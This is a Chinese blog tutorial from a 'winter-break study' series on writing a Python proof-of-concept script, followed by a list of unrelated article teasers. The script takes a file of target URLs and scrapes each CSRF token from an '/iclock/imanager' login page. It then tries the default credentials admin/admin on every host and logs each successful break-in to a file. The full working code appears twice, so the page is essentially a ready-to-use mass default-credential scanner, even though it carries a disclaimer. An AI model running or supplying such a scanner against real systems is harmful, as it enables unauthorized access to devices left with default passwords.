寒假学习第24天---PythonPoc基础编写(二)

提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。

文章目录

  • 前言
    • 一、 目标
    • 二、过程
      • 思路
      • 实践开始
    • 总结
    • 完整代码


前言

又来了哈,小六花祝你早日学习poc的编写,上一次的poc编写链接
链接


一、 目标

我们可以编写poc的脚本来验证一些简单的操作,今天我们来模拟登陆,如果登陆成功就写入一个文档里,方便我们后续的操作

二、过程

思路

我们想对一个网站进行登陆操作,肯定要获取它的服务器返回了什么东西,我们f12先抓个包,看请求了什么
在这里插入图片描述
有这些东西,username,password,logintype,csrfmiddlewaretoken,其中
csrfmiddlewaretoken,这个字段,每个网站都不一样,我们对每个网站都需要重新进行获取
服务器返回信息,这个解码就是对不起,你的用户名或密码错误,如果登陆成功 ret的字段会变成0,这样就简单了,我们直接让csrfmiddlewaretoken自动向网站获取,ret=0并且状态码为200(这里需要用json的编码)
在这里插入图片描述

实践开始

引用库

import requests
from bs4 import BeautifulSoup
from tqdm import tqdm  

requests:一个简单易用的HTTP库,用于发送HTTP请求。
BeautifulSoup:一个用于解析HTML和XML文档的库,可以从网页中提取数据。
tqdm:一个快速、可扩展的Python进度条库,可以在Python长循环中添加一个进度提示信息。

# 初始化会话
session = requests.Session()

file_path = 'url.txt'
success_file_path = 'success_urls.txt'  # 成功登录信息将被记录到这个文件

urls = []  # 存储所有URL
with open(file_path, 'r') as file:
    for line in file:
        urls.append(line.strip())

将session初始化,创建一个Session实例。Session对象允许你跨请求保持某些参数,比如cookies,即在同一个Session实例发出的所有请求之间保持cookies。
定义urls列表,将文件写入列表中,方便计数,展示进度
line.strip()去除前后文空格以及换行符

for url in tqdm(urls, desc="处理进度"):
    if not url.startswith("http"):
        url = "http://" + url

    login_url = url + "/accounts/login/?next=/iclock/imanager"  # 构造登录页面URL

desc="处理进度"设置了进度条的描述文字。

# 尝试获取登录页面以及CSRF token
    try:
        response = session.get(login_url, verify=False)
        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
    except Exception as e:
        print(f'无法从{login_url}获取CSRF token: {e}')
        continue

获取csrfmiddlewaretoken的值

  # 准备请求头和数据
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    }
    data = {
        "username": "admin",
        "password": "admin",
        "logintype": "user",
        "csrfmiddlewaretoken": csrf_token  # 使用动态获取的CSRF token
    }

请求头的构造

   # 尝试登录
    try:
        response = session.post(login_url, headers=headers, data=data, verify=False)
        if response.status_code == 200:
            if response.text:
                try:
                    response_data = response.json()
                    if response_data.get('ret') == 0:
                        print(f'URL: {url} - 登录成功: {response_data.get("message")}')
                        with open(success_file_path, 'a') as success_file:
                            success_file.write(
                                f'URL: {url}\n账号: {data["username"]}\n密码: {data["password"]}\n\n')
                    else:
                        print(f'URL: {url} - 登录失败: {response_data.get("message")}')
                except ValueError as e:
                    print(f'URL: {url} - 解析JSON失败: {e}')
            else:
                print(f'URL: {url} - 响应非JSON格式或为空')
        else:
            print(f'URL: {url} - 请求未成功,HTTP状态码: {response.status_code}')
    except Exception as e:
        print(f'URL: {url} - 请求失败: {e}')

使用POST方法,发送登录请求到登录页面。先检测网站是否能打开,再获取内容
根据响应状态码和响应内容判断登录是否成功。如果返回的是JSON格式且ret字段为0,则认为登录成功,并将成功的URL、用户名和密码写入success_urls.txt文件。
在这里插入图片描述
成功的话就写入success_urls.txt

在这里插入图片描述

总结

主要用于自动化测试网站的登录功能,特别是在有多个URL需要测试时,可以大大节省时间,不知不觉已经24天了,希望大家关注一下我,嘿嘿,六花祝你新年快乐

完整代码

import requests
from bs4 import BeautifulSoup
from tqdm import tqdm  # 导入tqdm

# 初始化会话
session = requests.Session()

file_path = 'url.txt'
success_file_path = 'success_urls.txt'  # 成功登录信息将被记录到这个文件

urls = []  # 存储所有URL
with open(file_path, 'r') as file:
    for line in file:
        urls.append(line.strip())

# 使用tqdm创建进度条
for url in tqdm(urls, desc="处理进度"):
    if not url.startswith("http"):
        url = "http://" + url

    login_url = url + "/accounts/login/?next=/iclock/imanager"  # 构造登录页面URL

    # 尝试获取登录页面以及CSRF token
    try:
        response = session.get(login_url, verify=False)
        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
    except Exception as e:
        print(f'无法从{login_url}获取CSRF token: {e}')
        continue

    # 准备请求头和数据
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    }
    data = {
        "username": "admin",
        "password": "admin",
        "logintype": "user",
        "csrfmiddlewaretoken": csrf_token  # 使用动态获取的CSRF token
    }

    # 尝试登录
    try:
        response = session.post(login_url, headers=headers, data=data, verify=False)
        if response.status_code == 200:
            if response.text:
                try:
                    response_data = response.json()
                    if response_data.get('ret') == 0:
                        print(f'URL: {url} - 登录成功: {response_data.get("message")}')
                        with open(success_file_path, 'a') as success_file:
                            success_file.write(
                                f'URL: {url}\n账号: {data["username"]}\n密码: {data["password"]}\n\n')
                    else:
                        print(f'URL: {url} - 登录失败: {response_data.get("message")}')
                except ValueError as e:
                    print(f'URL: {url} - 解析JSON失败: {e}')
            else:
                print(f'URL: {url} - 响应非JSON格式或为空')
        else:
            print(f'URL: {url} - 请求未成功,HTTP状态码: {response.status_code}')
    except Exception as e:
        print(f'URL: {url} - 请求失败: {e}')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377330.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java基于微信小程序的驾校报名小程序,附源码

博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…

腾讯云游戏服务器购买入口,详细配置精准报价

2024年更新腾讯云游戏联机服务器配置价格表,可用于搭建幻兽帕鲁、雾锁王国等游戏服务器,游戏服务器配置可选4核16G12M、8核32G22M、4核32G10M、16核64G35M、4核16G14M等配置,可以选择轻量应用服务器和云服务器CVM内存型MA3或标准型SA2实例&am…

创建网站的具体步骤是什么?

创建网站的具体步骤是什么 一.领取一个免费域名和SSL证书,和CDN 1.打开网站链接:https://www.rainyun.com/z22_ 2.在网站主页上,您会看到一个"登陆/注册"的选项。 3.点击"登陆/注册",然后选择"微信登…

假期刷题打卡--Day26

1、MT1212乘法表 请编写一个简单程序,输出九九乘法表。输入n,就输出乘法表到n的地方。 格式 输入格式: 输入整型 输出格式: 输出整型。形式如:1*11 样例 1 输入: 5输出: 1*11 2*12 …

格子表单GRID-FORM | 文档网站搭建(VitePress)与部署(Github Pages)

格子表单/GRID-FORM已在Github 开源,如能帮到您麻烦给个星🤝 GRID-FORM 系列文章 基于 VUE3 可视化低代码表单设计器嵌套表单与自定义脚本交互文档网站搭建(VitePress)与部署(Github Pages) 效果预览 格…

服装设计公司,如何用钉钉实现企业数字化成功转型?

钉钉作为数字化工作平台,为某服装设计公司实现了组织管理的数字化转型,构建了一站式的工作平台。通过钉钉赋能,有利于企业推进组织架构、员工沟通、产品运营和客户服务等方面的数字化、智能化转型。 借助钉钉平台,该服设公司轻松实…

【C++第二阶段】空指针访问成员函数常成员函数常成员属性

你好你好! 以下内容仅为当前认识,可能有不足之处,欢迎讨论! 文章目录 空指针访问成员函数常成员函数&常成员属性 空指针访问成员函数 类对象类型的空指针可以访问成员函数,但是不能够访问带有成员属性的成员函数。…

js-添加网页快捷方式

title: js-添加网页快捷方式 categories: Javascript tags: [p快捷方式] date: 2024-02-04 15:28:25 comments: false mathjax: true toc: true js-添加网页快捷方式 前篇 谷歌上包困难的情况, 只能通过投放落地页来缓解一下痛苦, web2app 那种形式有几个比较大的缺点就是需要…

人工智能基础部分24-人工智能的数学基础,汇集了人工智能数学知识最全面的概况

、 大家好,我是微学AI,今天给大家介绍一下人工智能基础部分24-人工智能的数学基础,汇集了人工智能数学知识最全面的概况,深度学习是一种利用多层神经网络对数据进行特征学习和表示学习的机器学习方法。要全面了解深度学习的数学基…

FlinkSql通用调优策略

历史文章迁移,稍后整理 使用DataGenerator 提前进行压测,了解数据的处理瓶颈、性能测试和消费能力 开启minibatch:"table.exec.mini-batch.enabled", "true" 开启LocalGlobal 两阶段聚合:"table.exec.m…

【力扣】快乐数,哈希集合+快慢指针+数学

快乐数原题地址 方法一:哈希集合 定义函数getNext(n),返回n的所有位的平方和。一直执行ngetNext(n),最终只有2种可能: n停留在1。无限循环且不为1。 证明:情况1是存在的,如力扣的示例一: 接…

怎么加密电脑磁盘?磁盘加密软件哪个好?

磁盘是电脑储存数据的基础工具,可以存放大量数据。为了避免数据泄露,可以使用专业的磁盘加密软件加密保护电脑磁盘。那么,磁盘加密软件哪个好呢?下面我们就来了解一下。 磁盘加锁专家 磁盘加锁专家是一款专业的磁盘加锁软件&…

阅读《极客时间 | Kafka核心技术与实战》(一)【Kafka入门】

阅读《极客时间 | Kafka核心技术与实战》 为什么要学习Kafka消息引擎系统ABC一篇文章带你快速搞定Kafka术语我应该选择哪种Kafka?聊聊Kafka的版本号 为什么要学习Kafka 如果你是一名软件开发工程师的话,掌握 Kafka 的第一步就是要根据你掌握的编程语言去…

使用CMSIS-DSP库进行嵌入式音频信号处理

在嵌入式环境下,使用CMSIS-DSP库进行音频信号处理是一种常见的应用场景。通过CMSIS-DSP库,开发人员可以利用嵌入式系统的处理能力来实现各种数字信号处理(DSP)功能,例如音频滤波、均衡器、噪音消除等。本文将介绍如何在…

C# 中的 out 参数传递

C# 是一种强大的编程语言,它提供了许多功能和特性来帮助开发人员编写高效和可维护的代码。其中,out 参数是 C# 中非常有用的一个特性之一。在本文中,我们将深入探讨 C# 中的 out 参数传递,并介绍它的用法、优势以及一些最佳实践。…

Dataway工具(一个接口竟然可以如此简单的配置出来无需开发任何一行代码,也不需要做任何 Mapping 实体映射绑定。)

基于 DataQL 服务聚合能力,为应用提供的一个接口配置工具,使得使用者无需开发任何代码就配置一个满足需求的接口。整个接口配置、测试、冒烟、发布,一站式都通过 Dataway 提供的 UI 界面完成。UI 会以 Jar 包方式提供并集成到应用中并和应用共…

Qt环境搭建+简单程序实现

Qt是什么 Qt是一个跨平台的C图形用户界面应用程序框架。 框架的本质就是一群大佬发明的让菜鸡写出来的代码也也比较规范 也就是限制程序员的自由,让程序员写出来的代码规范。 库和框架有相似性。 库是被程序员调用的,(程序员是主体&…

【自动化测试】---Selenium+Java

1.自动化测试分类 接口自动化测试UI自动化测试(移动端自动化测试、Web端自动化测试) 2.选择Selenium作为web自动化工具原因(面试题) 开源免费支持多个浏览器支持多个系统支持多语言Selenium包提供很多供测试使用的API 3.自动化是什…

深入探索 Stable Diffusion:AI图像创新的新纪元

深入探索 Stable Diffusion:AI图像创新的新纪元 介绍 Stable Diffusion 的核心功能和应用场景Stable Diffusion 架构解析深入 Stable Diffusion 的关键组件变分自编码器(VAE)生成对抗网络(GAN)注意力机制优化算法数据集…

#Z0463. 巡逻1

Description 在一个地区中有 n 个村庄,编号为 1, 2, ..., n。有 n – 1 条道路连接着这些村 庄,每条道路刚好连接两个村庄,从任何一个村庄,都可以通过这些道路到达其 他任一个村庄。每条道路的长度均为 1 个单位。 为保证该地区的…